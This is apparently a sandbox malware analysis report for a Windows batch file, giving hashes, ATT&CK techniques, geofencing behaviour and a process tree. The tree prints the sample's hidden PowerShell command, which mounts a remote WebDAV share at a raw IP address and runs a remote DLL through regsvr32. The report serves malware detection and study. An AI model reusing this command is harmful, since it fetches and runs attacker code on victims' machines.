ac71d7bd4efd05727655e3d4c393127c98cac1ed92de44244e54e1ccfdf0aa0c

Analysis

max time kernel
140s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19/07/2024, 03:20

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General

Target

3255529665177125468.bat
Size

13KB
MD5

dc72e34d3bf4fb003a13bee0ddf47011
SHA1

e158a8570a7de5f8e6972fd8f371de2edf1b8e7c
SHA256

368ec195b1915f7d0c3b6b3d0893be9d2f3df3b3d7804fcba2e9f2808c66fb42
SHA512

9ddda0b936b3818b7c090a2afba1cf4f9fbf24edcf59bab70f419fa960c3c24e4988e716b2420d7693cf7fc058b6e3e5036dd4ac4c9ec3c60ad85b9e4bf3d9ea
SSDEEP

192:bipb3Y96mj7Cfr8v4si1klsBcJFM7f2X2Vj0mcSkXGt0SAzL0x:e3Nh8vTi1kSCJiwyju2t0Vk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
460	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
460	powershell.exe
460	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	460	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4164	wordpad.exe
4164	wordpad.exe
4164	wordpad.exe
4164	wordpad.exe
4164	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 4164	2228	cmd.exe	85
PID 2228 wrote to memory of 4164	2228	cmd.exe	85
PID 2228 wrote to memory of 460	2228	cmd.exe	87
PID 2228 wrote to memory of 460	2228	cmd.exe	87
PID 460 wrote to memory of 3988	460	powershell.exe	89
PID 460 wrote to memory of 3988	460	powershell.exe	89
PID 460 wrote to memory of 2752	460	powershell.exe	90
PID 460 wrote to memory of 2752	460	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3255529665177125468.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\256631059728979.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:3988
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\256631059728979.dll
    3⤵
    PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puuejsof.s2a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/460-9-0x00000183FB0B0000-0x00000183FB0D2000-memory.dmp

Filesize
136KB

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